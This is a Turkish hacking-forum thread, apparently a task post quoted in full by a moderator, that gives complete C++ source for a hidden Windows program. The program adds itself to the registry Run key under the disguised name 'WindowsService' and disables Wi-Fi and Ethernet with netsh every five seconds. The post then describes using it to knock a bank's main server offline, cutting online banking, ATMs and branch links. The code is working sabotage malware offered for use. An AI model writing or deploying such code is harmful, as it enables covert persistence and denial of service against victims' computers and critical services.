Hoşgeldin Misafir

C++ ile hedef bilgisayarı internetsiz bırakma

xS0N3R

23 Ağu 2020
5,424 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba, bu konuda C++ ile kodladığım çalıştığı bilgisayar üzerinde Wi-Fi ve Ethernet'i kapatan program kodlayacağız.

Programı arka planda çalışacak şekilde kodladım yani kullanıcıya herhangi bir çıktı gösterilmiyor.

Her 5 saniyede bir Wi-Fi ve Ethernet'i kapatıyor program.

Program
Windows'un başlangıç programları listesine kendini ekler

Ayrıca program kendini Windows Kayıt Defterine de ekler.

İşte Programın Kodları ;

C++:
#include <windows.h>
#include <iostream>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    HKEY hKey;
    const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    RegOpenKeyExA(HKEY_CURRENT_USER, path, 0, KEY_SET_VALUE, &hKey);

    char filename[MAX_PATH];
    GetModuleFileNameA(NULL, filename, MAX_PATH);
    RegSetValueExA(hKey, "WindowsService", 0, REG_SZ, (const BYTE*)filename, strlen(filename) + 1);
    RegCloseKey(hKey);

// x

    while(true) {
        system("netsh interface set interface \"Wi-Fi\" admin=disable >nul 2>&1");
        system("netsh interface set interface \"Ethernet\" admin=disable >nul 2>&1");
        Sleep(5000);
    }

    return 0;
}

Eğer bu program bir bankanın ana sunucusunda çalıştırılırsa ;
Program, internet bağlantılarını her 5 saniyede bir kapatır, bu da bankanın ağdan tamamen kopmasına neden olur.
Sunucuya uzaktan erişim imkansız hale gelir.
Bankanın hizmetleri (örneğin online bankacılık, ATM bağlantıları, müşteri işlemleri) durabilir.

Ağ bağlantısı kesilirse:
Şubeler arası bağlantılar kopar.
Müşteriler hesaplarına erişemez.
 

Graves

Graves

Karanlık Özgürlüktür
Moderator
9 Eki 2024
10,457 Mesaj
TIM Görevleri
2

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba, bu konuda C++ ile kodladığım çalıştığı bilgisayar üzerinde Wi-Fi ve Ethernet'i kapatan program kodlayacağız.

Programı arka planda çalışacak şekilde kodladım yani kullanıcıya herhangi bir çıktı gösterilmiyor.

Her 5 saniyede bir Wi-Fi ve Ethernet'i kapatıyor program.

Program
Windows'un başlangıç programları listesine kendini ekler

Ayrıca program kendini Windows Kayıt Defterine de ekler.

İşte Programın Kodları ;

C++:
#include <windows.h>
#include <iostream>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    HKEY hKey;
    const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    RegOpenKeyExA(HKEY_CURRENT_USER, path, 0, KEY_SET_VALUE, &hKey);

    char filename[MAX_PATH];
    GetModuleFileNameA(NULL, filename, MAX_PATH);
    RegSetValueExA(hKey, "WindowsService", 0, REG_SZ, (const BYTE*)filename, strlen(filename) + 1);
    RegCloseKey(hKey);

// x

    while(true) {
        system("netsh interface set interface \"Wi-Fi\" admin=disable >nul 2>&1");
        system("netsh interface set interface \"Ethernet\" admin=disable >nul 2>&1");
        Sleep(5000);
    }

    return 0;
}

Eğer bu program bir bankanın ana sunucusunda çalıştırılırsa ;
Program, internet bağlantılarını her 5 saniyede bir kapatır, bu da bankanın ağdan tamamen kopmasına neden olur.
Sunucuya uzaktan erişim imkansız hale gelir.
Bankanın hizmetleri (örneğin online bankacılık, ATM bağlantıları, müşteri işlemleri) durabilir.

Ağ bağlantısı kesilirse:
Şubeler arası bağlantılar kopar.
Müşteriler hesaplarına erişemez.
Teşekkürler eline sağlık